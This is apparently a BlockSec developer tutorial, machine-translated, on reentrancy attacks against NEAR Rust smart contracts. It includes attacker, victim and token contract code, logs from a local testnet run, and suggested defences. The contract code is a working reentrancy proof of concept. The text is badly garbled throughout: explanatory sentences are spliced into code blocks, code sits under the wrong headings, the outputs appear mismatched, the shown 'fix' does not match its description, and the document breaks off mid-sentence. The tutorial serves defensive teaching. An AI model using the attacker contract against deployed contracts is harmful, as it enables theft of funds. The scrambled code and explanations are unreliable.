Rust smart contract development diary (5)
BlockSec
2022-03-29 10:33
本文约7055字,阅读全文需要约28分钟
Rust contract security re-entry attack.

related articles:

Rust smart contract development diary (1) Contract state data definition and method implementationhttps://github.com/blocksecteam/near_demo

Rust Smart Contract Development Diary (2) Writing Rust Smart Contract Unit Tests

picture

Rust Smart Contract Development Diary (2) Writing Rust Smart Contract Unit Tests

Rust smart contract development diary (3) Rust smart contract deployment, function call and use of Explorer

Rust smart contract development diary (3) Rust smart contract deployment, function call and use of Explorer

Rust smart contract development diary (4) Rust smart contract integer overflow

In this issue, we will show you reentrancy attacks in Rust contracts and provide corresponding suggestions for developers. The relevant code in this article has been uploaded to BlockSec’s Github, and readers can download it by themselves:

secondary title

1. Principle of reentrancy attack

picture

  • We use a simple example in real life to understand re-entry attacks: that is, assuming that a user has 100 yuan in cash in the bank, when the user wants to withdraw money from the bank, he will first tell the teller-A: "I want Take 60 yuan." Teller-A will check the user's balance at this time as 100 yuan. Since the balance is greater than the amount the user wants to withdraw, teller-A will first hand over 60 yuan in cash to the user. But before the teller-A had time to update the user's balance to 40 yuan, the user ran to the next door and told another teller-B: "I want to withdraw 60 yuan", and concealed that he had just withdrawn from teller-A money facts. Since the user's balance has not been updated by teller-A, teller-B checks that the user's balance is still 100 yuan, so teller-B will continue to hand over 60 yuan to the user without hesitation. The end user has actually received 120 yuan in cash, which is greater than the 100 yuan in cash previously stored in the bank.

  • Why did this happen? The reason is that the teller-A did not deduct the user's 60 yuan from the user's account in advance. If teller-A can deduct the amount in advance. When the user asks the teller-B to withdraw money, the teller-B will find that the user's balance has been updated and cannot withdraw more cash than the balance (40 yuan).

Section 2 below will first introduce the relevant background knowledge, and section 3 will demonstrate a specific reentrancy attack example in NEAR LocalNet to reflect the harmfulness of code reentrancy to smart contracts deployed on the NEAR chain. At the end of this article, we will introduce the protection technology against re-entry attacks in detail to help you better write Rust smart contracts.

secondary title

2. Background knowledge: transfer operation of NEP141

  • NEP141 is the Fungible Token (hereinafter referred to as Token) standard on the NEAR public chain. Most tokens on NEAR follow the NEP141 standard.

    When a user wants to deposit or withdraw a certain amount of Token from a certain Pool, such as a decentralized exchange (DEX), the user can call the corresponding contract interface to complete the specific operation.

  • When the DEX project contract executes the corresponding interface function, it will call the ft_transfer/ft_transfer_call function in the Token contract to realize the formal transfer operation. The difference between these two functions is as follows:

    When calling the ft_transfer function in the Token contract, the recipient of the transfer (receiver_id) is the EOA account.

  • #[near_bindgen]
    #[derive(BorshDeserialize, BorshSerialize)]
    pub struct VictimContract {
       attacker_balance: u128,
       other_balance: u128,
    }
    impl Default for VictimContract {
       fn default() -> Self {
           Self {
               attacker_balance: 100,
               other_balance:100
          }
      }
    }

When calling the ft_transfer_call function in the Token contract, the recipient of the transfer (receiver_id) is the contract account.

For ft_transfer_call, in addition to first deducting the transfer amount of the transaction initiator (sender_id), and increasing the balance of the transferee user (receiver_id), the method also adds an additional function called ft_on_transfer (coin collection function) in the receiver_id contract. ) for cross-contract calls. It can be simply understood here that at this time the Token contract will remind the receiver_id contract that a user has deposited a specified amount of Token. The receiver_id contract will maintain the balance management of the internal account by itself in the ft_on_transfer function.

#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct FungibleToken {
   attacker_balance: u128,
   victim_balance: u128
}
impl Default for FungibleToken {
   fn default() -> Self {
       Self {
           attacker_balance: 0,
           victim_balance: 200
      }
  }

secondary title

  • 3. Specific examples of code reentrancy

Suppose there are three smart contracts as follows:

impl MaliciousContract {    
pub fn malicious_call(&mut self, amount:u128){
       ext_victim::withdraw(
           amount.into(), 
          &VICTIM, 
           0, 
           env::prepaid_gas() - GAS_FOR_SINGLE_CALL
          );
  }
...
}

  • Contract A: Attacker contract;

  • impl VictimContract {
       pub fn withdraw(&mut self,amount: u128) -> Promise{
           assert!(self.attacker_balance>= amount);
    The attacker will use this contract to implement subsequent attack transactions.
           ext_ft_token::ft_transfer_call(
               amount.into(), 
              &FT_TOKEN, 
               0, 
               env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
              )
              .then(ext_self::ft_resolve_transfer(
                   amount.into(),
                  &env::current_account_id(),
                   0,
                   GAS_FOR_SINGLE_CALL,
              ))
      }
    ...
    }  
  • Contract B: Victim contract.

For a DEX contract. At the time of initialization, the Attacker account has a balance of 100, and other DEX users have a balance of 100. That is, the DEX contract holds a total of 200 Tokens at this time.

  • Contract C: Token contract (NEP141).

  • #[near_bindgen]
    impl FungibleToken {
       pub fn ft_transfer_call(&mut self,amount: u128)-> PromiseOrValue{
    Before the attack, because the Attacker account did not withdraw cash from the Victim contract, the balance was 0. At this time, the balance of the Victim contract (DEX) was 100+100 =200;
           self.attacker_balance += amount;
           self.victim_balance   -= amount;
    The following describes the specific process of the code reentrancy attack:
           ext_fungible_token_receiver::ft_on_transfer(
               amount.into(), 
              &ATTACKER,
               0, 
               env::prepaid_gas() - GAS_FOR_SINGLE_CALL
              ).into()
      }
    ...
    }
  • The Attacker contract calls the withdraw function in the Victim contract (contract B) through the malicious_call function;

  • #[near_bindgen]
    impl MaliciousContract {
       pub fn ft_on_transfer(&mut self, amount: u128){
    For example, at this time, the Attacker passes the value of the amount parameter to the withdraw function as 60, hoping to withdraw 60 from contract B;
           if self.reentered == false{
               ext_victim::withdraw(
                   amount.into(), 
                  &VICTIM, 
                   0, 
                   env::prepaid_gas() - GAS_FOR_SINGLE_CALL
                  );
          }
           self.reentered = true;
      }
    ...
    }
  • In contract B, the assert!(self.attacker_balance>= amount); at the beginning of the withdraw function will check whether the Attacker account has enough balance. At this time, the balance is 100>60, and the subsequent steps in withdraw will be executed through the assertion.

  • // Call Attacker's coin collection function

  • The withdraw function in contract B will then call the ft_transfer_call function in contract C (FT_Token contract);

  • Cross-contract calls are realized through ext_ft_token::ft_transfer_call in the above code.

The ft_transfer_call function in contract C will update the balance of the attacker account = 0 + 60 = 60, and the balance of the Victim contract account = 200 - 60 = 140, and then call the ft_on_transfer "token collection" function of contract A through ext_fungible_token_receiver::ft_on_transfer.

$ node Triple_Contracts_Reentrancy.js 
Finish init NEAR
Finish deploy contracts and create test accounts
Victim::attacker_balance:3.402823669209385e+38
FT_Token::attacker_balance:120
FT_Token::victim_balance:80

// Call Attacker's coin collection function

Because contract A is controlled by Attacker, and the code has malicious behavior. Therefore, the "malicious" ft_on_transfer function can call the withdraw function in contract B by executing ext_victim::withdraw again, so as to achieve the effect of reentry.

// The coin collection function of the malicious contract

Since the attacker_balance in the victim contract has not been updated since the last time the withdrawal was entered, it is still 100, so the check of assert!(self.attacker_balance>= amount) can still be passed at this time. After withdraw, the ft_transfer_call function will be called across contracts in the FT_Token contract again, and the balance of the attacker account = 60 + 60 = 120, and the balance of the Victim contract account = 140 - 60 = 80;

#[near_bindgen]
impl VictimContract {
   pub fn withdraw(&mut self,amount: u128) -> Promise{
       assert!(self.attacker_balance>= amount);
     self.attacker_balance -= amount;
ft_transfer_call calls back to the ft_on_transfer function in the Attacker contract again. Since the ft_on_transfer function in contract A currently only re-enters the withdraw function once, the re-entry behavior is terminated when ft_on_transfer is called this time.
       ext_ft_token::ft_transfer_call(
           amount.into(), 
          &FT_TOKEN, 
           0, 
           env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
          )
          .then(ext_self::ft_resolve_transfer(
               amount.into(),
              &env::current_account_id(),
               0,
               GAS_FOR_SINGLE_CALL,
          ))
  }   #[private]
   pub fn ft_resolve_transfer(&mut self, amount: u128) {
       match env::promise_result(0) {
           PromiseResult::NotReady => unreachable!(),
           PromiseResult::Successful(_) => {
          }
           PromiseResult::Failed => {
After that, the function will return step by step along the previous call chain, resulting in self.attacker_balance = 100 -60 -60 = -20 when updating self.attacker_balance in the withdraw function in contract B
Since self.attacker_balance is u128 and safe_math is not used, it will cause integer overflow.
self.attacker_balance += amount;  
          }
      };
  }

The final execution result is as follows:

$ node Triple_Contracts_Reentrancy.js 
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X
      Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Smart contract panicked: panicked at 'assertion failed: self.attacker_balance >= amount', src/lib.rs:45:9"}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140

That is to say, although the FungibleToken balance locked by the user Attacker in the DEX is only 100, the actual transfer received by the Attacker is 120, which realizes the purpose of this code reentrancy attack.

secondary title

4. Code re-entry prevention technology

4.1 Update sum and state first (deduct money first), then transfer

Change the execution logic in contract B code withdraw to:

// Call Attacker's coin collection function

   pub fn withdraw(&mut self,amount: u128) -> Promise{
       assert!(self.attacker_balance>= amount);
// If the ext_ft_token::ft_transfer_call cross-contract call transfer fails,
       ext_ft_token::ft_transfer_call(
           amount.into(), 
          &FT_TOKEN, 
           0, 
-           env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
+           GAS_FOR_SINGLE_CALL * 3
          )
          .then(ext_self::ft_resolve_transfer(
               amount.into(),
              &env::current_account_id(),
               0,
               GAS_FOR_SINGLE_CALL,
          ))
  }

// Then roll back the update of the previous account balance status

$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX
      Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Exceeded the prepaid gas."}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140

It can be seen that since the Victim contract at this time has updated the user's balance in advance when withdrawing, it is calling the external FungibleToken to implement the transfer. Therefore, when the withdrawal is re-entered for the second time, the attacker_balance saved in the Victim contract has been updated to 40, so the assert!(self.attacker_balance>= amount) will not be passed; the Attcker call process cannot be triggered due to the Assertion Panic Arbitrage with code reentrancy.

4.2 Introducing a mutex

This method is similar to when the teller-A has not had time to update the user's balance to 40 yuan, the user runs to the next door and tells another teller-B: "I want to withdraw 60 yuan". Although the user has concealed the fact that he has withdrawn money from teller-A just now. But the teller-B can know that the user has been to the teller-A, and has not completed all the matters, at this time, the teller-B can refuse the user to withdraw money. Usually, a mutex can be implemented by introducing a state variable

BlockSec
作者文库